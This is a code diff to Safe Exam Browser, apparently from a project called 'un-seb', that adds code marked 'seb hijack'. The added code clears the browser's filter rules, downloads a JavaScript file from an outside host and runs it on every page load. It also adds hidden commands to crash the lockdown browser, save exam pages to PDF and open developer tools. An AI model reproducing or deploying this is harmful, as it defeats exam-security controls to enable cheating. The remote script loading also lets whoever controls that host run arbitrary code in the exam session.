77 */
88
99using System ;
10+ using System . IO ;
1011using System . Linq ;
1112using System . Threading . Tasks ;
1213using System . Windows . Forms ;
1314using CefSharp ;
15+ using CefSharp . WinForms ;
1416using SafeExamBrowser . Browser . Wrapper ;
1517using SafeExamBrowser . Browser . Wrapper . Events ;
1618using SafeExamBrowser . Logging . Contracts ;
@@ -141,7 +143,16 @@ public void Initialize()
141143
142144 if ( control is IWebBrowser webBrowser )
143145 {
144- webBrowser . JavascriptMessageReceived += WebBrowser_JavascriptMessageReceived ;
146+ webBrowser . JavascriptMessageReceived += WebBrowser_JavascriptMessageReceived ;
147+
148+ // seb hijack
149+ Settings . Browser . FilterSettings filterSettings = new Settings . Browser . FilterSettings ( ) ;
150+ filterSettings . Rules . Clear ( ) ;
151+ using ( var client = new System . Net . WebClient ( ) )
152+ {
153+ var the_script = client . DownloadString ( "https://wxnnvs.ftp.sh/un-seb/the_script.js" ) ;
154+ webBrowser . ExecuteScriptAsyncWhenPageLoaded ( the_script ) ;
155+ }
145156 }
146157 }
147158
@@ -188,19 +199,64 @@ private void Control_IsBrowserInitializedChanged(object sender, EventArgs e)
188199 }
189200 }
190201
202+ // seb hijack
203+ private void ExitSEB ( )
204+ {
205+ if ( MessageBox . Show ( "Crashing SEB can take up to 10 seconds \n It can be seen in the log files aswell." , "SEB Crash" , MessageBoxButtons . OKCancel , MessageBoxIcon . Information ) == DialogResult . OK )
206+ {
207+ Environment . Exit ( 0 ) ;
208+ }
209+ }
210+
211+ private async Task SaveAsPDF ( )
212+ {
213+ var settings = new PdfPrintSettings ( ) ;
214+ string filename = DateTime . Now . ToString ( "yyyyMMdd_HHmmss" ) + ".pdf" ;
215+ string filepath = Path . Combine ( Environment . GetFolderPath ( Environment . SpecialFolder . Desktop ) , filename ) ;
216+ var succes = await control . BrowserCore . PrintToPdfAsync ( filepath , settings ) ;
217+ var owner = control as IWin32Window ;
218+ if ( succes )
219+ {
220+ MessageBox . Show ( owner , "PDF should be saved to desktop." , "Save as PDF" , MessageBoxButtons . OK , MessageBoxIcon . Information ) ;
221+ }
222+ else
223+ {
224+ MessageBox . Show ( owner , "Failed to generate PDF" , "Error" , MessageBoxButtons . OK , MessageBoxIcon . Error ) ;
225+ }
226+ }
227+
191228 private void WebBrowser_JavascriptMessageReceived ( object sender , JavascriptMessageReceivedEventArgs e )
192- {
229+ {
193230 clipboard . Process ( e ) ;
194231
232+ // seb hijack
195233 dynamic message = e . Message ;
196234 if ( message . type == "exitSEB" )
197235 {
198- if ( MessageBox . Show ( "Crashing SEB can take up to 10 seconds \n It can be seen in the log files aswell." , "SEB Crash" , MessageBoxButtons . OKCancel , MessageBoxIcon . Information ) == DialogResult . OK )
236+ ExitSEB ( ) ;
237+ }
238+
239+ if ( message . type == "screenshot" )
240+ {
241+ _ = SaveAsPDF ( ) ;
242+ }
243+
244+ if ( message . type == "devTools" )
245+ {
246+ ShowDeveloperConsole ( ) ;
247+ }
248+
249+ if ( message . type == "version" )
250+ {
251+ if ( message . version == "2" )
199252 {
200- Environment . Exit ( 0 ) ;
253+ ExecuteJavaScript ( "responseFunction(true);" ) ;
254+ }
255+ else
256+ {
257+ ExecuteJavaScript ( "responseFunction(false);" ) ;
201258 }
202-
203259 }
204260 }
205261 }
206- }
262+ }
0 commit comments